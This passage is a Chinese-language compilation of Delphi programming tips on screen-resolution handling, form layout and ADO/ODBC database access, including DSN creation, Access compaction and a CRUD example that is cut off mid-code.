辨 率 相 同， 如 果 不 同， 调 用 表 单 的SCALE 过 程 重 新 能 调 整 表 单 中 控 件 的 宽 度
和 高 度。

Const
Orignwidth=800;
Orignheight=600;

procedure TForm1.FormCreate(Sender: TObject);
begin
scaled:=true;
if (screen.width<>orignwidth) then
begin
height:=longint(height)*longint
(screen.height) div orignheight;
width:=longint(width)*longint
(screen.width) div orignwidth;
scaleby(screen.width , orignwidth);
end;
end;
---- SCALE 过 程 在 调 整 控 件 宽 度 和 高 度 的 同 时， 也 自 动 调 整 控 件 字 体 的 大 小，
以 适 应 新 的 分 辨 率， 但 美 中 不 足 的 是 它 并 不 改 变 控 件 的 顶 点 坐 标 位 置， 也
就 是 说， 该 过 程 不 改 变 控 件 之 间 的 相 对 位 置 关 系。 要 想 调 整 控 件 之 间 的 选
队 相 对 位 置， 还 需 要 自 己 编 程 实 现， 有 兴 趣 的 读 者 可 试 一 试。

---- 二、 将 机 器 分 辨 率 更 改 为 设 计 时 的 分 辨 率

---- 这 种 方 法 不 改 变 表 单 本 身， 而 是 将 屏 幕 分 辨 率 更 改 为 与 表 单 设 计 时 用 到
的 分 辨 率 相 同。 它 需 要 用 到WINDOWS API 函 数EnumDisplaySettings 和ChangeDisplaySettings， 前
者 取 当 前 显 示 模 式 信 息， 后 者 则 更 改 显 示 设 置， 具 体 参 数 的 含 义 请 参 见
DELPHI 帮 助。 设 计 时 宽 度 常 量 和 高 度 常 量 的 定 义 如 方 法 一。

procedure TForm1.FormCreate(Sender:
TObject);
var
devmode:tDevicemode;
begin
if
screen.width<>orignwidth  then
begin
if
EnumDisplaySettings(nil,0,devmode)  then
begin
devmode.dmfields:=dm_pelswidth  OR  dm_pelsheight
;
devmode.dmpelswidth:=orignwidth; {宽度}
devmode.dmpelsheight:=orignheight;{高度}
ChangeDisplaySettings(devmode,0);
{更改设置}
end;
end;
end;


界面设计－让属性页更吸引人

步骤如下：

1. 设定 TForm.BorderWidth := 6

2. 添加一个TPanel

3. TPanel同底部对齐

4. 设定 TPanel.Height := 30

5. 添加 TButtons 到 TPanel

6. 设定 TButton.Top := 6

7. 按钮间间距为8

8. 添加一个TPageControl

9. 添加一个TTabSheet

10. 设定 TPageControl.BorderWidth := 12

如果添加 TBevels, 把它们对齐到顶部或底部，它们会摞到一起去的。同时对齐labels到左边通过设定TLabel.Left := 0。


Delphi下的ADO

ADO的精髓在于利用简单的COM指令来快速方便的访问ODBC数据源，微软的表格、列表框等ActiveX控件使得用户可以简便的利用ADO工作；然而，本文中笔者仅仅向您展示了如何利用程序访问数据库，将不采用任何可视化数据控件。
本文将向您展示如何利用Variant或interfaces访问和修改ADO数据库，示例程序非常简单，可运行于Delphi 3或4。
安装和访问一个ADO数据库。
示例程序的代码不足150行，然而运行本程序必须首先安装ADO以及设置ODBC数据源。
ADO是一组COM组件的集合，允许程序员利用利用少量的简单代码访问数据库。
ADO通常和OLEDB、Universal Data Access以及Microsoft Data Access Components（MDAC）联系在一起。OLEDB产生较ADO为早，是后期各种技术的基础。
如果你已经安装了ADO，你会在你的计算机中发现ADODB.DLL或者是MSADO15.DLL，这些文件中包含了一个类库，其中包括了利用ADO编程所需的全部接口和常量。在Delphi中，选择菜单Project | Import Type Library，选择以上的DLL文件，然后确定，系统生成了一个基于ADODB.DLL的ADODB_TLB.Pas文件，这个文件中包含了所有Delphi ADO编程所需的声明。
最后一步的准备工作就是将Delphi演示数据库中的Clients.DBF设置为ODBC系统DSN，其别名为DBDemosDBase，驱动程序为Dbase 5。
以下程序清单同时利用Variants和Interfaces访问ADO：
unit Main;
{---------------------------------------------------------------------
Created Jan 5, 1999. Copyright (c) 1999 by Charlie Calvert
----------------------------------------------------------------------}
interface

uses Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, ComObj, Grids, ADODB_TLB, ExtCtrls;

const
SELECTSTRING = 'SELECT * FROM Clients.dbf';
DSNSTRING =
'DBDemosDBase';
type TForm1 = class(TForm)
StringGrid1: TStringGrid;
Panel1: TPanel;
VariantBtn: TButton;
InterfaceBtn: TButton;
UpdateBtn: TButton;
Edit1: TEdit;
procedure VariantBtnClick(Sender:
TObject);
procedure InterfaceBtnClick(Sender: TObject);
procedure
UpdateBtnClick(Sender: TObject);
procedure StringGrid1SelectCell(Sender:
TObject; ACol, ARow: Integer;
var CanSelect: Boolean);

private
procedure Display(RecordSet: _RecordSet); { Private declarations }
public { Public declarations }
end;
var Form1: TForm1;implementation
uses
ActiveX;
{$R *.DFM}
procedure TForm1.Display(RecordSet: _RecordSet);
var
Y, i: Integer;
begin
Y := 1;
repeat
for i := 0 to 6 do
StringGrid1.Cells[i, Y] := RecordSet.Fields[i].Value;
RecordSet.Move(1, EmptyParam);
Inc(Y);
until RecordSet.EOF;
end;
procedure TForm1.InterfaceBtnClick(Sender: TObject);
var RecordSet: _RecordSet;
DSN: string;
begin
// 生成空的recordset object
OleCheck(CoCreateInstance(CLASS_RecordSet, nil,
CLSCTX_ALL, IID__RecordSet, RecordSet));
DSN := 'dsn=' + DSNSTRING;
// 填写数据
RecordSet.Open(SelectString, DSN, adOpenForwardOnly,
adLockReadOnly, adCmdUnspecified);
// 显示数据
Display(RecordSet);
UpdateBtn.Enabled := True;
end;
procedure TForm1.UpdateBtnClick(Sender: TObject);
var RecordSet: _RecordSet;
DSN: string;
begin
OleCheck(CoCreateInstance(CLASS_RecordSet, nil,
CLSCTX_ALL, IID__RecordSet, RecordSet));
DSN := 'dsn=' + DSNSTRING;
// Fill the recordset
RecordSet.Open(SELECTSTRING, DSN, adOpenDynamic,
adLockOptimistic, adCmdUnspecified);
// 修改
RecordSet.Move(StringGrid1.Row - 1, EmptyParam);
RecordSet.Fields[StringGrid1.Col].Value := Edit1.Text;
RecordSet.Update(EmptyParam, EmptyParam);
RecordSet.MoveFirst;
Display(RecordSet);
end;
procedure TForm1.VariantBtnClick(Sender: TObject);
var
RecordSet: OleVariant;
Y, i: Integer;
begin
// Create an empty recordset object
RecordSet := CreateOleObject('ADODB.Recordset');
// Fill the recordset
RecordSet.Open(SELECTSTRING, DSNSTRING);
// Display the data
Y := 1;
repeat
for i := 0 to 6 do
StringGrid1.Cells[i, Y] := RecordSet.Fields[i].Value;
RecordSet.Move(1);
Inc(Y);
until RecordSet.EOF;
end;
procedure TForm1.StringGrid1SelectCell(Sender: TObject; ACol,
ARow: Integer; var CanSelect: Boolean);
begin
Edit1.Text := StringGrid1.Cells[ACOl, ARow];
end;
end.
这个程序有三个按钮，一个StringGrid以及一个编辑框，第一个按钮利用以Variants连接的ADO填充表格，第二个则利用Inteface进行连接。
第三个按钮用于修改数据，当用户单击StringGrid的单元格时，单元格中的数据会显示于编辑框中，可以修改编辑框中的数据，然后单击这个按钮，将会修改这个单元格以及数据库中的数据。
ADO中含有许多不同的对象，本文将集中讲述RecordSet和Fields这两个对象。
可以用如下的代码生成一个RecordSet的实例：
var
RecordSet: OleVariant;
begin
RecordSet := CreateOleObject('ADODB.Recordset');
... // Code omitted here
end;
CreateOleObject声明于ComObj.Pas中。它是ActiveX.Pas中的核心函数CoCreateInstance的一个简单包装。
要打开数据库，可利用以下代码：
const
SELECTSTRING = 'SELECT * FROM Clients.dbf';
DSNSTRING = 'DBDemosDBase';

begin
RecordSet := CreateOleObject('ADODB.Recordset');
RecordSet.Open(SELECTSTRING, DSNSTRING);
.. // Code omitted here
end;
Open方法有很多参数，但是在这个程序中我们只处理其中的两个。第一个是我们要执行的SQL语句，第二个是我们要操作的数据库。
当打开一个数据集时，数据集游标位于第一个记录，可以用下面的代码访问这个记录：

MyString := RecordSet.Fields[0].Value;
MyString := RecordSet.Fields[1].Value;

要移动游标，可以用RecordSet对象的Move方法：
RecordSet.Move(1);

利用Interface访问ADO：

利用Interface访问ADO的步骤同从前的例子大致相同：

procedure TForm1.InterfaceBtnClick(Sender: TObject);
var RecordSet:
_RecordSet;
DSN: string;
begin
// Create an empty recordset
object
OleCheck(CoCreateInstance(CLASS_RecordSet, nil,
CLSCTX_ALL,
IID__RecordSet, RecordSet));
DSN := 'dsn=' + DSNSTRING;
// Fill the
recordset
RecordSet.Open(SelectString, DSN, adOpenForwardOnly,
adLockReadOnly, adCmdUnspecified);
// Display the data
Display(RecordSet);
UpdateBtn.Enabled := True;
end;

同前一节的代码不同，这些代码必须包含ADODB_TLB.PAS。
这一段代码用ADODB_TLB.PAS中声明的_RecordSet代替了Variants。
这里直接调用了CoCreateInstance来生成对象的实例。第一个参数传递了声明于ADODB_TLB.PAS中的常量CLASS_RecordSet，它代表RecordSet的Class ID，第四个参数为IID__RecordSet，也是声明于ADODB_TLB.PAS中的，注意，它带有两条下划线！最后一个参数是我希望建立的实例。
当调用recordSet.Open的时候，应该穿第五个参数。
const
SELECTSTRING = 'SELECT * FROM Clients.dbf';
DSNSTRING = 'DBDemosDBase';

begin
.. // Code omitted
DSN := 'dsn=' + DSNSTRING;
RecordSet.Open(SelectString, DSN, adOpenForwardOnly,
adLockReadOnly, adCmdUnspecified);
.. // Code omitted
end;
在前一节的例子中，可以只传递两个参数，这是因为Variants允许忽略参数，这时采用缺省值。当采用Interfaces时，则必须明确的定义参数。如果希望采用缺省值，则可以向下面这样调用函数：
RecordSet.Open(SelectString, DSN, EmptyParam, EmptyParam, EmptyParam);
在这里我们使用了EmptyParam这样一个Variant，它被声明于System.Pas，这些参数将采用缺省值。上面的例子中我用了声明于ADODB_TLB.PAS中的真正的缺省值。此类问题可参考Data Access SDK中的相关文件。
打开数据集以后，就可以用同上一节相同的方法显示数据。唯一的不同就是RecordSet.Move方法要有两个参数。
procedure TForm1.Display(RecordSet: _RecordSet);
var Y, i: Integer;
begin
Y := 1;
Repeat
for i := 0 to 6 do
StringGrid1.Cells[i, Y] := RecordSet.Fields[i].Value;
RecordSet.Move(1, EmptyParam);
Inc(Y);
until RecordSet.EOF;
end;

修改数据
当修改数据时，不能用打开数据集时使用的缺省值，而是应该传递以下的参数：
const
adOpenDynamic = $00000002;
adLockOptimistic = $00000003;
adCmdUnspecified = $FFFFFFFF;
begin
.. // Call CoCreateInstance
DSN := 'dsn=' + DSNSTRING;
RecordSet.Open(SELECTSTRING, DSN, adOpenDynamic, adLockOptimistic,
adCmdUnspecified);
.. // Code ommitted here
end;

无论你用的是Variants还是Interfaces，这段代码都将正常工作。
当你的数据集以可读写的方式打开时，如adLockOptimistic方式，就可以修改数据库的内容了：
RecordSet.Fields[0].Value := Edit1.Text;
RecordSet.Update(EmptyParam, EmptyParam);
这段代码可以修改当前记录的内容。当然也可以利用字段数组以及Move方法修改任何记录。如果用的是Variants方式，可以不传递任何参数。
在例子中，我采用了一种简单的方法来编辑表中的字段。如果用户在某一个字段商单击，其数值会显示于编辑框中：
procedure TForm1.StringGrid1SelectCell(Sender: TObject; ACol,
ARow: Integer; var CanSelect: Boolean);
begin
Edit1.Text := StringGrid1.Cells[ACOl, ARow];
end;

用于更新数据的代码如下：
RecordSet.Move(StringGrid1.Row - 1, EmptyParam);
RecordSet.Fields[StringGrid1.Col].Value := Edit1.Text;
RecordSet.Update(EmptyParam, EmptyParam);

第一行将数据集游标移动到表格当前行，第二行修改数据，第三行提交修改。
最后一步将把数据集游标移动到第一条记录，然后调用相同的过程显示修改后的数据库。
RecordSet.MoveFirst;
Display(RecordSet);
////////////////////////////////////////////////////
Delphi 5 ADO

关键词：Delphi - MIS

ADO
Universal Data Access (UDA)是微软公司策畋一部分，提供了快速访问各种数据库的能力，UDA提供了一种不受限制的能力，通过易用的API接口访问各种数据源，当然，这需要与其兼容的驱动程序，类似Delphi的BDE，这项技术能在一个程序中从多样的数据源中轻易的访问到数据。UDA用MDAC来实现，而MDAC则包括Active Data Objects(ADO),Open Database Connectivity(ODBC)与OLE DB.
ADO是MDAC的应用程序设计接口，OLE DB则是系统级的接口，定义了一套COM接口，提供了从关联数据库及文件系统的数据访问能力，ODBC为了向后兼容也包含在MDAC中，但是在将来，他要被OLE DB所替代，现在对于ODBC，开发者通过ADO来使用ODBC驱动，尽管如此，OLE DB已经可用于Microsoft Access,Microsoft SQL以及Oracle.
ADO另外的一个重要的优势是将被内置在微软将的所有操作系统不，包括Windows 2000,这就意味着虽然现在为了使用ADO来访问数据库而不得不在每一台PC中安装ADO，而将来这种安装技术将消失。如果想进一步学习UDA及ADO，可以访问微软的数据访问主页http://www.microsoft.com/data/default.htm，从这个主页上，不但可以载到 ADOredistributable,用他可以在windows95/98/nt安装ADO，也能得到MDAC的SDK，包含了完整的文档以及需要开发自己的OLE DB 的所有工具，此外，SDK也包含ADO的发行版。
用ADO需要的每一件事，都被制作在Delphi 5的安装盘上，如果安装MDAC，进行MDAC目录，执行程序MDAC_TYP.EXE即可.由于安装程序仅为一个文件，所以安装MDAC也变得非常简单。如果自己开发的应用程序需要安装MDAC，则此安装程序还可作为自己开发应用的安装程序的一部分，为了去除它的安装提示信息，需要在自制安装程序时使用如下的命令行：mdac_typ.exe /q:a /c:"setup.exe /qt"
对于更多的安装MDAC的信息，象文件列表及依赖关系，可以看MDAC SDK文档。

使用ADOConnection 和 ADODataSet控件
D5提供了一套新的控件以支持ADO，并且能够轻易的转换现有的应用到ADO，要建立一个ADO应用，首先需要在form或data module中放一个ADOConnection控件，这与BDE 的Database 控件差不多，他允许通过ConnectionString属性定义与数据库的联接，如果想手工建立这个联接串可不是一件容易的事，这个串是由';'隔开的一系列参数，这些参数很容易就能超过150个字符，幸运是是，微软提供了一个联接串编辑器，使做起这件事来变得简单。为了打开这个编辑器，就可完成这项工作。爽的很。
在这个编辑器中，可以以两种方式之一来选择与数据源的建立，其一是用联接文件的方式，另一种则是建立联接串的形式，默认的情况下是使用联接串，选择build按钮，出现数据联接属性设置对话框，在provider页，可以选择使用的驱动程式，当确定使用的驱动程序后，可以选择下一步，确定具体要联接的数据库，需要注意的是，选择不同的驱动程序，在这一页需要确定的参数是不同的。当确定这里的各个参数后，可以用测试联接按钮来测试数据库是否可以联接，从而确定给定的联接参数是否正确。在这里，我们仅以Microsort Jet 4.0为例子，联接本地的一个Acess表。
现在，当完成联接串后，就可以设置Connected为True,使ADOConnection与数据库真正的联接。此时，可以放置ADODataset控件，实际上，只有ADODataset才是真正与数据一起工作的，通过ADODataset,可以直接与一个表进行联接，也可以执行SQL语句，还可以执行存储过程(哇，好利害)。使用ADODataset的第一步，就是设置Connection,确定其使用那一个ADOConnection,接下来，要处理两个有关联的属性：CommandType与CommandText,由于CommandText是由commandtype决定的，所以要先设置commandType,正是由他来决定DataSet怎样与数据库工作，用表，SQL还是存储过程。而后CommandText自然就容易设置，不用多说。当这两个参数确定下来，余下的工作就如同原来的使用BDE访问数据库的工作差不多，使用DataSource与ADODataSet联接，与就是用DBGrid等与DataSource联接，现在，利用ADO,可以访问到数据了！


获得一个ADO连接数据库中的 table 列表

要取得 ADO 中已经存在的 tables 的列表，可以通过调用 TADOConnection 的 GetTableNames 方法，示范：

{我们希望得到的列表中包含 system tables,因此后面的标志 boolSystemTables 为 True}

boolSystemTables := True;

yourADOConnection.GetTableNames(yourListBox.Items, boolSystemTables);

要取得 ADO 中已经存在的 stored procedures (存贮过程) 的列表，可以通过调用 TADOConnection 的 GetProcedureNames 方法，示范：

yourADOConnection.GetProcedureNames((yourListBox.Items);


调出连接串编辑对话框

当发布一个使用 ADO 连接的应用程序时，开发者有时需要在应用程序里设置 ADO 的连接串。ADO 连接串既长又复杂。我常将他们存贮在注册表中。但是，假如我需要生成一个新的串，困难出现了。从前我只好运行 Delphi，通过它的 IDE，运行 ADO 连接串的属性编辑器来建立。现在我发现我可以在自己的应用程序中完成这种事情了。

首先，在 uses 语句中包含进 AdoConEd 单元。然后在应用程序需要触发 ADO 连接串编辑器的地方写入如下简单代码。问题迎刃而解。

ADOConnection1.Close;

// calling EditConnectionString displays the dialog, and

// sets the ConnectString property to the resulting value.

if EditConnectionString(ADOConnection1) then begin

//display the resulting ADO Connect String, just for fun.

label11.caption := ADOConnection1.ConnectionString;

end;


添加ODBC System DSN

   下面这个例子显示了如何加载实现了ODBC 管理功能的DLL(odbccp32.dll)来创建一个Access
    MDB文件和指向它的ODBC DSN。注意：这里假设DLL和MDB都在当前目录下。
同时，"CREATE_DB"的调用是Access（MS Jet引擎)的专有调用，类似的还有COMPACT_DB和REPAIR_DB等。

const
ODBC_ADD_DSN = 1; // 添加数据源
ODBC_CONFIG_DSN = 2; // 配置数据源
ODBC_REMOVE_DSN = 3; // 删除数据源
ODBC_ADD_SYS_DSN = 4; // 添加系统DSN
ODBC_CONFIG_SYS_DSN = 5; // 配置系统DSN
ODBC_REMOVE_SYS_DSN = 6; // 删除系统DSN

type
TSQLConfigDataSource = function( hwndParent: HWND;
fRequest: WORD;
lpszDriver: LPCSTR;
lpszAttributes: LPCSTR ) : BOOL; stdcall;

procedure Form1.FormCreate(Sender: TObject);
var
pFn: TSQLConfigDataSource;
hLib: LongWord;
strDriver: string;
strHome: string;
strAttr: string;
strFile: string;
fResult: BOOL;
ModName: array[0..MAX_PATH] of Char;
srInfo : TSearchRec;
begin
Windows.GetModuleFileName( HInstance, ModName, SizeOf(ModName) );
strHome := ModName;
while ( strHome[length(strHome)] <> '\' ) do
Delete( strHome, length(strHome), 1 );
strFile := strHome + 'TestData.MDB'; // 检查Access权限(Axes = Access)
hLib := LoadLibrary( 'ODBCCP32' );
if( hLib <> NULL ) then
begin
@pFn := GetProcAddress( hLib, 'SQLConfigDataSource' );
if( @pFn <> nil ) then
begin
// 强迫重建DSN
strDriver := 'Microsoft Access Driver (*.mdb)';
strAttr := Format( 'DSN=TestDSN'+#0+
'DBQ=%s'+#0+
'Exclusive=1'+#0+
'Description=Test Data'+#0+#0,
[strFile] );
fResult := pFn( 0, ODBC_ADD_SYS_DSN, @strDriver[1],
   @strAttr[1] );
if( fResult = false ) then ShowMessage( '创建DSN
   (Datasource)失败!' );

// 检测/创建同DSN关联的 MDB 文件
if( FindFirst( strFile, 0, srInfo ) <> 0 ) then
begin
strDriver := 'Microsoft Access Driver (*.mdb)';
strAttr := Format( 'DSN=TestDSN'+#0+
'DBQ=%s'+#0+
'Exclusive=1'+#0+
'Description=Test Data'+#0+
'CREATE_DB="%s"'#0+#0,
[strFile,strFile] );
fResult := pFn( 0, ODBC_ADD_SYS_DSN, @strDriver[1],
   @strAttr[1] );
if( fResult = false ) then ShowMessage( '创建MDB文件失败!' );
end;
FindClose( srInfo );

end;

FreeLibrary( hLib );
end
else
begin
ShowMessage( '无法加载ODBCCP32.DLL' );
end;
end;

以下是在程序中动态创建ODBC的DSN数据源代码：
procedure TCreateODBCDSNfrm.CreateDSNBtnClick(Sender: TObject);
var
registerTemp : TRegistry;
bData : array[ 0..0 ] of byte;
begin
registerTemp := TRegistry.Create;
//建立一个Registry实例
with registerTemp do
begin
RootKey:=HKEY_LOCAL_MACHINE;
//设置根键值为HKEY_LOCAL_MACHINE
//找到Software\ODBC\ODBC.INI\ODBC Data Sources
if OpenKey('Software\ODBC\ODBC.INI
\ODBC Data Sources',True) then
begin //注册一个DSN名称
WriteString( 'MyAccess', 'Microsoft
Access Driver (*.mdb)' );
end
else
begin//创建键值失败
memo1.lines.add('增加ODBC数据源失败');
exit;
end;
CloseKey;
//找到或创建Software\ODBC\ODBC.INI
\MyAccess,写入DSN配置信息
if OpenKey('Software\ODBC\ODBC.INI
\MyAccess',True) then
begin
WriteString( 'DBQ', 'C:\inetpub\wwwroot
\test.mdb' );//数据库目录，连接您的数据库
WriteString( 'Description',
'我的新数据源' );//数据源描述
WriteString( 'Driver', 'C:\PWIN98\SYSTEM\
odbcjt32.dll' );//驱动程序DLL文件
WriteInteger( 'DriverId', 25 );
//驱动程序标识
WriteString( 'FIL', 'Ms Access;' );
//Filter依据
WriteInteger( 'SafeTransaction', 0 );
//支持的事务操作数目
WriteString( 'UID', '' );//用户名称
bData[0] := 0;
WriteBinaryData( 'Exclusive', bData, 1 );
//非独占方式
WriteBinaryData( 'ReadOnly', bData, 1 );
//非只读方式
end
else//创建键值失败
begin
memo1.lines.add('增加ODBC数据源失败');
exit;
end;
CloseKey;
//找到或创建Software\ODBC\ODBC.INI
\MyAccess\Engines\Jet
//写入DSN数据库引擎配置信息
if OpenKey('Software\ODBC\ODBC.INI
\MyAccess\Engines\Jet',True) then
begin
WriteString( 'ImplicitCommitSync', 'Yes' );
WriteInteger( 'MaxBufferSize', 512 );//缓冲区大小
WriteInteger( 'PageTimeout', 10 );//页超时
WriteInteger( 'Threads', 3 );//支持的线程数目
WriteString( 'UserCommitSync', 'Yes' );
end
else//创建键值失败
begin
memo1.lines.add('增加ODBC数据源失败');
exit;
end;
CloseKey;
memo1.lines.add('增加新ODBC数据源成功');
Free;
end;
end;

从中您应该可以学会如何更改需要的数据库


压缩Access数据库

var
  dao: OLEVariant;
begin
  dao := CreateOleObject('DAO.DBEngine.35');
  dao.CompactDatabase('d:\yourDatabaseName.mdb',
'd:\yourNewCompactedDatabaseName.mdb');
end;


修复Access数据库

var
  dao: OLEVariant;
begin
  dao := CreateOleObject('DAO.DBEngine.35');
  dao.RepairDatabase('d:\yourDatabaseName.mdb');
end;


获取表和存储过程信息

boolSystemTables := True; yourADOConnection.GetTableNames(yourListBox.Items, boolSystemTables); yourADOConnection.GetProcedureNames((yourListBox.Items);


使用ADO对象存取ODBC数据库

在DELPHI中可以成功地用ADO对象存取ODBC数据库。

在32位的DELPHI中，可以声明一个variant变量(如AVariant)，然后通过CreateOleObject 创建一个OLE对象，如AVariant:=CreateOleObject('ADODB.Connection')可以获得一个数据库连接对象的实例，然后就可以利用该对象的方法和属性来操作ODBC数据库了．

下面简单介绍一下访问ODBC数据库所用到的ADO对象及其方法和属性．

１．数据库连接对象(ADODB.Connection)

该对象用于与ODBC数据库建立连接，所有对数据库的操作均通过该连接进行．
数据库连接对象ADODB.Connection的作用象Delphi中的TDatabase对象．

建立一个连接对象的方法为(AConnection为Variant类型变量)：

AConnection:=CreateOleObject('ADODB.Connection')

用于建立连接的方法为Open，使用语法为(以对象AConnection为例):

AConnection.Open( ConnectionString, UserId, Password )

三个参数均为字符串类型，其中UserId和Password为用户名称和用户密码，用来访问
数据库时使用，可以省略，因为在ConnectionString同样可以指定用户名称和用户密码．ConnectionString是用来说明ODBC数据源信息的字符串，其格式为：

'Provider=ProviderName;DSN=DSNName;
DRIVER=driver; SERVER=server;
DATABASE=database;
UID=user; PWD=password'

其中：
Provider：数据提供者，默认为MSDASQL，为微软OLEDB，通常省略
DSN　　 ：要打开的数据库对应的OBDC系统数据源(DSN)，是可选参数
DRIVER ：要打开的数据库所用的驱动程序名称，如Access对应
Microsoft Access Driver(*.mdb)，是可选参数
SERVER　：要打开的数据库所在的服务器名称，本机可用(local)，是可选参数
DATABASE：要打开的数据库名称，是可选参数
UID　　 ：用户名称，用来访问数据库，是可选参数
PWD　　 ：用户密码，用来访问数据库，是可选参数
以上参数均为可选参数，但必须提供足够的信息来描述一个系统数据源．

假如已经定义了一个ODBC的系统DSN，名称为MyDsn，那么就可用以下语句建立一个数据库连接：

AConnection.Open('DSN=MyDsn');

为了防止DSN不存在或其设置被他人修改时造成应用程序运行错误，可以用ADODB.Connection创建一个临时ODBC数据源，这样可以保证我们使用的系统DSN的参数设置是正确的．下面的语句可以创建一个临时ODBC系统DSN，对应一个ACCESS数据库，路径为

C:\Inetpub\wwwroot\test.mdb
AConnection.open('Driver={Microsoft
Access Driver (*.mdb)};DBQ=
C:\inetpub\wwwroot\test.mdb')

建立一个ADODB.Connection后，如果不需要返回操作结果(如删除，修改，更新等操作)就可以对数据库进行正常的SQL操作了，此时应用ADODB.Connection的另外一个方法Execute，使用语法为：

AConnection.Execute( strSQL );

其中strSQL为执行操作的SQL语句，如删除操作可以为：delete from wfjcommu 用AConnection.Close关闭一个数据库连接．

２．数据集对象(ADODB.RecordSet)

如果要执行查询操作并返回查询结果，或者要更方便地操作数据表，就需要用到数据集对象了．

数据集对象ADODB.RecordSet的作用象Delphi中的TTable或TQuery对象．

建立一个数据集对象的方法为(ARecordSet为Variant类型变量)：

ARecordSet:=CreateOleObject('ADODB.RecordSet')

从数据表取得数据的方法为Open方法，具体使用方法为：

ARecordSet.Open( strCommand,ActiveConnection,
intCursorType,intLockType,
intCommandType );
其中： strCommand：字符串，为命令参数，可以是一个Table名称，可以是一个SQL语句，也可以是一个服务器上的存储过程(StoredProc)名称，具体需要后面的参数intCommandType来指定．

ActiveConnection：要使用的数据库连接，是一个ADODB.Connection对象．

intCursorType：长整数，数据集的Cursor类型，可选参数，请参见程序中注释。

intLockType：长整数，对数据表的加锁类型，可选参数，请参见程序中注释。

intCommandType：长整数，命令参数的类型，用来指明strCommand的作用，可以指定strCommand为命令(如SQL语句)或数据表(TTable)或储存过程(StoredProc)，可选参数，请参见程序中注释。

如执行一个SQL查询，可以采用如下语句：

ARecordSet.Open('Select
* from wfjcommu',adOpenStatic,
adLockOptimistic,adCmdText);

其它常见属性和方法与TTable和TQuery相比较如下(具体请见ASP帮助文件)：

eof,bof：eof,bof．
MoveFirst, MoveLast：First, Last
MovePrevious, MoveNext：Prior, Next
Move：MoveBy
AddNew：append
Update：Post
Close：close
Delete加Update：delete，所有对数据表的修改均须用Update使操作有效，这与Delphi不同

Fields[FieldNo]：Fields[FieldNo]
Fields['FieldName']：FieldByName('FieldName')

３．其它常见对象(与Delphi对应的对象)：

ADODB.Field：TField ADODB.Parameter：
TPara ADODB.Error：EDBEngineError
ADODB.Command：无 ADODB.Property：无

下面来看一个应用例子，听别人说总不如自己看实际的例子来体会。在这个例子中，将演示如何利用ADO对象来对一个数据表进行查询、增加记录、修改记录和删除记录操作。具体的用法请参见程序中的注释，如果有点Delphi数据库编程经验，相信不难理解。

在我们的例子使用的数据库为Test.MDB，其中有一个数据表为wfjcommu，有五个字段AName、Portable、Tel、BP、PostAddress，分别表示姓名、手机号、电话号码、呼机号码和通信地址。

procedure TForm1.Button1Click(Sender: TObject);
{*****************************************************

用ADO操作ODBC数据库本程序中，将创建一个临时的ODBC系统数据源，指向一个MsAccess数据库，然后对其中的数据表进行显示、增加、修改、删除和查询操作注意：请在Uses语句中包含ComObj单元

*****************************************************}

const{ 一些常量声明，详细请参见adovbs.inc }
{ ---- CommandType的常量说明 ---- }
adCmdUnknown = 0008;//未知,
需要系统来判断,速度慢,为缺省值
adCmdText = 0001;//命令语句如SQL语句
adCmdTable = 0002;//数据表名称
adCmdStoredProc = 0004;//存储过程名称

{ ---- CursorType的常量说明 ---- }
adOpenForwardOnly = 0;//只能由前向后单向访问,为缺省值
adOpenKeyset = 1;//可见其他用户对数据的修改,
但对其它用户的增加和删除不可见
adOpenDynamic = 2;//其他用户对数据的增加修改和删除均可见
adOpenStatic = 3;//其他用户对数据的增加修改和删除均不可见

{---- LockType的常量说明 ---}
adLockReadOnly = 1;//只读,为缺省值
adLockPessimistic = 2;//在修改时,按单个记录锁定
adLockOptimistic = 3;//在修改后更新时,按单个记录锁定
adLockBatchOptimistic = 4;//在成批更新时记录锁定
var
AConnection, ARecordSet : variant;
longintTemp : integer;
strTemp : string;
intIndex : integer;
begin
{创建一个临时的ODBC数据源,
指向一个MsAccess数据库,
并利用此DSN建立一个数据库连接}
AConnection := CreateOleObject('ADODB.Connection');
AConnection.Open('Driver={Microsoft Access Driver
(*.mdb)};DBQ=C:\inetpub\wwwroot\test');

{建立一个数据集对象,并从数据表中提取数据}
ARecordSet := CreateOleObject('ADODB.RecordSet');
ARecordSet.open( 'wfjcommu',AConnection,
adOpenStatic,adLockOptimistic,adCmdTable );

  memo1.lines.clear;
memo1.lines.add('********数据表原有的内容如下********');
{显示各个域的域名}
strTemp := '';
for intIndex := 0 to ARecordSet.Fields.count - 1
do
strTemp := strTemp +
ARecordSet.Fields[intIndex].name+';';
memo1.lines.add( strTemp );

{显示各个域的内容}
while not ARecordSet.eof do
begin
strTemp := '';
for intIndex := 0 to ARecordSet.Fields.count - 1 do
strTemp := strTemp + ARecordSet.Fields
[intIndex].value+';';
memo1.lines.add( strTemp );
ARecordSet.MoveNext;//移到下条，Next
end;

{增加一个记录}
ARecordSet.AddNew;//增加,Append
ARecordSet.Fields['AName'] := '1';
//以FieldByName的方式存取
ARecordSet.Fields['Portable'] := '2';
ARecordSet.Fields(2) := '3';
//以Fields[index]的方式存取
ARecordSet.Fields(3) := '4';
ARecordSet.Fields(4) := '5';
ARecordSet.Update;//更新，Post
ARecordSet.MoveFirst;//移到首条，First
memo1.lines.add('********增加了一条
记录后的数据表的内容如下********');
{显示各个域的内容}
while not ARecordSet.eof do
begin
strTemp := '';
for intIndex := 0 to ARecordSet.
Fields.count - 1 do
strTemp := strTemp +
ARecordSet.Fields[intIndex].value+';';
memo1.lines.add( strTemp );
ARecordSet.MoveNext;//移到下条，Next
end;

{修改最后一条记录}
ARecordSet.MoveLast;
ARecordSet.Fields['AName'] := '11';
//以FieldByName的方式存取
ARecordSet.Fields['Portable'] := '22';
ARecordSet.Fields(2) := '33';
//以Fields[index]的方式存取
ARecordSet.Fields(3) := '44';
ARecordSet.Fields(4) := '55';
ARecordSet.Update;//更新，Post
ARecordSet.MoveFirst;//移到首条，First
memo1.lines.add('********修改了最后一条
记录后的数据表的内容如下********');
{显示各个域的内容}
while not ARecordSet.eof do
begin
strTemp := '';
for intIndex := 0 to
ARecordSet.Fields.count - 1 do
strTemp := strTemp +
ARecordSet.Fields[intIndex].value+';';
memo1.lines.add( strTemp );
ARecordSet.MoveNext;//移到下条，Next
end;

{删除最后一条记录}
ARecordSet.MoveLast;//移到末条，Last
ARecordSet.delete;//删除，delete
ARecordSet.Update;//更新，在Delphi不需要
ARecordSet.MoveFirst;//移到首条，First
memo1.lines.add('********删除了最后一条
记录后的数据表的内容如下********');
